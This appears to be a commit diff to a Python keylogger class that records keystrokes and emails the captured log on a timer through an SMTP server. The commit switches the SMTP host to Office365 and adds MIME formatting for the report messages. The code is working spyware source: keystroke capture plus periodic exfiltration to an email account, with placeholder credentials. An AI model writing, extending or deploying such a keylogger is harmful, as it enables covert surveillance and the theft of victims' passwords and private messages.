3
3
# Timer is to make a method runs after an `interval` amount of time
4
4
from threading import Timer
5
5
from datetime import datetime
6
+ from email .mime .multipart import MIMEMultipart
7
+ from email .mime .text import MIMEText
6
8
7
9
SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
8
- EMAIL_ADDRESS = "[email protected] "
9
- EMAIL_PASSWORD = "put_real_pw "
10
+ EMAIL_ADDRESS = "[email protected] "
11
+ EMAIL_PASSWORD = "password_here "
10
12
11
13
class Keylogger :
12
14
def __init__ (self , interval , report_method = "email" ):
@@ -59,17 +61,37 @@ def report_to_file(self):
59
61
print (self .log , file = f )
60
62
print (f"[+] Saved { self .filename } .txt" )
61
63
62
- def sendmail (self , email , password , message ):
64
+ def prepare_mail (self , message ):
65
+ """Utility function to construct a MIMEMultipart from a text
66
+ It creates an HTML version as well as text version
67
+ to be sent as an email"""
68
+ msg = MIMEMultipart ("alternative" )
69
+ msg ["From" ] = EMAIL_ADDRESS
70
+ msg ["To" ] = EMAIL_ADDRESS
71
+ msg ["Subject" ] = "Keylogger logs"
72
+ # simple paragraph, feel free to edit
73
+ html = f"<p>{ message } </p>"
74
+ text_part = MIMEText (message , "plain" )
75
+ html_part = MIMEText (html , "html" )
76
+ msg .attach (text_part )
77
+ msg .attach (html_part )
78
+ # after making the mail, convert back as string message
79
+ return msg .as_string ()
80
+
81
+ def sendmail (self , email , password , message , verbose = 1 ):
63
82
# manages a connection to an SMTP server
64
- server = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
83
+ # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
84
+ server = smtplib .SMTP (host = "smtp.office365.com" , port = 587 )
65
85
# connect to the SMTP server as TLS mode ( for security )
66
86
server .starttls ()
67
87
# login to the email account
68
88
server .login (email , password )
69
- # send the actual message
70
- server .sendmail (email , email , message )
89
+ # send the actual message after preparation
90
+ server .sendmail (email , email , self . prepare_mail ( message ) )
71
91
# terminates the session
72
92
server .quit ()
93
+ if verbose :
94
+ print (f"{ datetime .now ()} - Sent an email to { email } containing: { message } " )
73
95
74
96
def report (self ):
75
97
"""
@@ -85,8 +107,8 @@ def report(self):
85
107
self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
86
108
elif self .report_method == "file" :
87
109
self .report_to_file ()
88
- # if you want to print in the console, uncomment below line
89
- # print(f"[{self.filename}] - {self.log}")
110
+ # if you don't want to print in the console, comment below line
111
+ print (f"[{ self .filename } ] - { self .log } " )
90
112
self .start_dt = datetime .now ()
91
113
self .log = ""
92
114
timer = Timer (interval = self .interval , function = self .report )
0 commit comments